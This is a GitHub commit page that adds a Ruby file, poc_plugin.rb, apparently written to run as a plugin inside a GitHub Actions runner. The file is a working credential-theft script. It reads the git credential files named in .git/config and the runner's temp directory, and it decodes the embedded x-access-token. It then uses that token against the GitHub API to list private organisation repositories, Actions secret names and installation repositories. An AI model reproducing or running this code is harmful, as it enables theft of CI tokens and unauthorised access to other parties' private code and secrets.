Skip to content

Commit 0595f23

Browse files
a
1 parent 4b8983f commit 0595f23

1 file changed

Lines changed: 103 additions & 0 deletions

File tree

poc_plugin.rb

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
require 'net/http'
2+
require 'json'
3+
4+
$stdout.puts "=== TOKEN EXTRACTION FROM GIT CREDENTIALS ==="
5+
6+
token = nil
7+
8+
git_config = File.read(".git/config") rescue ""
9+
cred_paths = git_config.scan(/path\s*=\s*(.+)/).flatten.uniq
10+
11+
$stdout.puts "Credential file paths found: #{cred_paths.length}"
12+
cred_paths.each do |p|
13+
p = p.strip
14+
$stdout.puts "Trying: #{p}"
15+
if File.exist?(p)
16+
content = File.read(p)
17+
$stdout.puts " File exists, size=#{content.length}"
18+
if content =~ /AUTHORIZATION:\s*basic\s+(\S+)/i
19+
b64 = $1
20+
decoded = [b64].pack("H*") rescue nil
21+
decoded ||= begin; require 'base64'; Base64.decode64(b64); rescue; b64; end
22+
if decoded =~ /x-access-token:(.+)/
23+
token = $1.strip
24+
$stdout.puts " TOKEN FOUND"
25+
$stdout.puts " Token length: #{token.length}"
26+
$stdout.puts " Token prefix: #{token[0..3]}..."
27+
else
28+
$stdout.puts " Decoded but no x-access-token pattern"
29+
$stdout.puts " Decoded length: #{decoded.length}"
30+
$stdout.puts " Has ghs_: #{decoded.include?('ghs_')}"
31+
end
32+
else
33+
$stdout.puts " No AUTHORIZATION header found"
34+
content.lines.each { |l| $stdout.puts " line: #{l.strip[0..60]}" }
35+
end
36+
else
37+
$stdout.puts " File not found"
38+
end
39+
end
40+
41+
Dir.glob("/home/runner/work/_temp/git-credentials*").each do |f|
42+
$stdout.puts "Glob found: #{f}"
43+
content = File.read(f) rescue "unreadable"
44+
$stdout.puts " size=#{content.length}"
45+
end
46+
47+
if token
48+
$stdout.puts ""
49+
$stdout.puts "=== CROSS-BOUNDARY WITH EXTRACTED TOKEN ==="
50+
51+
http = Net::HTTP.new("api.github.com", 443)
52+
http.use_ssl = true
53+
54+
req = Net::HTTP::Get.new("/repos/github/explore")
55+
req["Authorization"] = "Bearer #{token}"
56+
req["Accept"] = "application/vnd.github+json"
57+
res = http.request(req)
58+
$stdout.puts "GET /repos/github/explore: #{res.code}"
59+
$stdout.puts "X-OAuth-Scopes: #{res['X-OAuth-Scopes']}"
60+
61+
req2 = Net::HTTP::Get.new("/orgs/github/repos?type=all&per_page=3")
62+
req2["Authorization"] = "Bearer #{token}"
63+
req2["Accept"] = "application/vnd.github+json"
64+
res2 = http.request(req2)
65+
$stdout.puts "GET /orgs/github/repos?type=all: #{res2.code}"
66+
if res2.code == "200"
67+
JSON.parse(res2.body).each { |r| $stdout.puts " #{r['full_name']} private=#{r['private']}" }
68+
end
69+
70+
req3 = Net::HTTP::Get.new("/repos/github/github")
71+
req3["Authorization"] = "Bearer #{token}"
72+
req3["Accept"] = "application/vnd.github+json"
73+
res3 = http.request(req3)
74+
$stdout.puts "GET /repos/github/github: #{res3.code}"
75+
76+
req4 = Net::HTTP::Get.new("/repos/github/explore/actions/secrets")
77+
req4["Authorization"] = "Bearer #{token}"
78+
req4["Accept"] = "application/vnd.github+json"
79+
res4 = http.request(req4)
80+
$stdout.puts "GET /repos/github/explore/actions/secrets: #{res4.code}"
81+
if res4.code == "200"
82+
d = JSON.parse(res4.body)
83+
$stdout.puts " total: #{d['total_count']}"
84+
d['secrets']&.each { |s| $stdout.puts " name: #{s['name']}" }
85+
end
86+
87+
req5 = Net::HTTP::Get.new("/installation/repositories?per_page=5")
88+
req5["Authorization"] = "Bearer #{token}"
89+
req5["Accept"] = "application/vnd.github+json"
90+
res5 = http.request(req5)
91+
$stdout.puts "GET /installation/repositories: #{res5.code}"
92+
if res5.code == "200"
93+
d5 = JSON.parse(res5.body)
94+
$stdout.puts " total: #{d5['total_count']}"
95+
d5['repositories']&.first(5)&.each { |r| $stdout.puts " #{r['full_name']} private=#{r['private']}" }
96+
end
97+
else
98+
$stdout.puts ""
99+
$stdout.puts "NO TOKEN EXTRACTED - cannot test cross-boundary"
100+
end
101+
102+
$stdout.puts "=== END ==="
103+
$stdout.flush

0 commit comments

Comments
 (0)